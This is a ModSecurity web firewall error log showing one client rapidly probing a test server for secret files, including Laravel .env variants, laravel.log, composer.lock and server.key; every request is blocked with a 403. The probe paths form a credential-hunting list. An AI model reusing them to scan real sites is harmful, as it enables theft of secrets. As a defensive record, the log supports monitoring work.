[Wed Feb 25 06:04:35.776505 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.production&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZW1gAAAAQ&quot;]
[Wed Feb 25 06:04:35.776687 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.production&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZW1gAAAAQ&quot;]
[Wed Feb 25 06:04:35.777830 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aZ6C41Iszkcv5YapLJKWWQAAAAI&quot;]
[Wed Feb 25 06:04:35.778076 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aZ6C41Iszkcv5YapLJKWWQAAAAI&quot;]
[Wed Feb 25 06:04:35.778225 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aZ6C41Iszkcv5YapLJKWWQAAAAI&quot;]
[Wed Feb 25 06:04:35.835430 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /staging/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.env&quot;] [unique_id &quot;aZ6C41Iszkcv5YapLJKWWgAAAAI&quot;]
[Wed Feb 25 06:04:35.835713 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.env&quot;] [unique_id &quot;aZ6C41Iszkcv5YapLJKWWgAAAAI&quot;]
[Wed Feb 25 06:04:35.835906 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.env&quot;] [unique_id &quot;aZ6C41Iszkcv5YapLJKWWgAAAAI&quot;]
[Wed Feb 25 06:04:35.857581 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /production/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/production/.env&quot;] [unique_id &quot;aZ6C41Iszkcv5YapLJKWWwAAAAI&quot;]
[Wed Feb 25 06:04:35.857915 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/production/.env&quot;] [unique_id &quot;aZ6C41Iszkcv5YapLJKWWwAAAAI&quot;]
[Wed Feb 25 06:04:35.858093 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/production/.env&quot;] [unique_id &quot;aZ6C41Iszkcv5YapLJKWWwAAAAI&quot;]
[Wed Feb 25 06:04:35.917523 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.staging&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZW1wAAAAQ&quot;]
[Wed Feb 25 06:04:35.917805 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.staging&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZW1wAAAAQ&quot;]
[Wed Feb 25 06:04:35.917988 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.staging&quot;] [unique_id &quot;aZ6C456MLyC5r86Hx-ZW1wAAAAQ&quot;]
[Wed Feb 25 06:04:35.945556 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aZ6C41Iszkcv5YapLJKWXAAAAAI&quot;]
[Wed Feb 25 06:04:35.945850 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aZ6C41Iszkcv5YapLJKWXAAAAAI&quot;]
[Wed Feb 25 06:04:35.946033 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aZ6C41Iszkcv5YapLJKWXAAAAAI&quot;]
[Wed Feb 25 06:04:36.039993 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /main/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aZ6C5J6MLyC5r86Hx-ZW2AAAAAQ&quot;]
[Wed Feb 25 06:04:36.040287 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aZ6C5J6MLyC5r86Hx-ZW2AAAAAQ&quot;]
[Wed Feb 25 06:04:36.040487 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aZ6C5J6MLyC5r86Hx-ZW2AAAAAQ&quot;]
[Wed Feb 25 06:04:36.190518 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/app/private/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/app/private/.env&quot;] [unique_id &quot;aZ6C5J6MLyC5r86Hx-ZW2gAAAAQ&quot;]
[Wed Feb 25 06:04:36.190854 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/app/private/.env&quot;] [unique_id &quot;aZ6C5J6MLyC5r86Hx-ZW2gAAAAQ&quot;]
[Wed Feb 25 06:04:36.191044 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/app/private/.env&quot;] [unique_id &quot;aZ6C5J6MLyC5r86Hx-ZW2gAAAAQ&quot;]
[Wed Feb 25 06:04:36.244067 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aZ6C5J6MLyC5r86Hx-ZW2wAAAAQ&quot;]
[Wed Feb 25 06:04:36.244644 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aZ6C5J6MLyC5r86Hx-ZW2wAAAAQ&quot;]
[Wed Feb 25 06:04:36.244849 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aZ6C5J6MLyC5r86Hx-ZW2wAAAAQ&quot;]
[Wed Feb 25 06:04:36.298220 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/composer.lock&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /composer.lock found within REQUEST_FILENAME: /composer.lock&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;aZ6C5J6MLyC5r86Hx-ZW3AAAAAQ&quot;]
[Wed Feb 25 06:04:36.298561 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;aZ6C5J6MLyC5r86Hx-ZW3AAAAAQ&quot;]
[Wed Feb 25 06:04:36.298745 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;aZ6C5J6MLyC5r86Hx-ZW3AAAAAQ&quot;]
[Wed Feb 25 06:04:36.327626 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;aZ6C5J6MLyC5r86Hx-ZW3QAAAAQ&quot;]
[Wed Feb 25 06:04:36.328197 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;aZ6C5J6MLyC5r86Hx-ZW3QAAAAQ&quot;]
[Wed Feb 25 06:04:36.328383 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;aZ6C5J6MLyC5r86Hx-ZW3QAAAAQ&quot;]
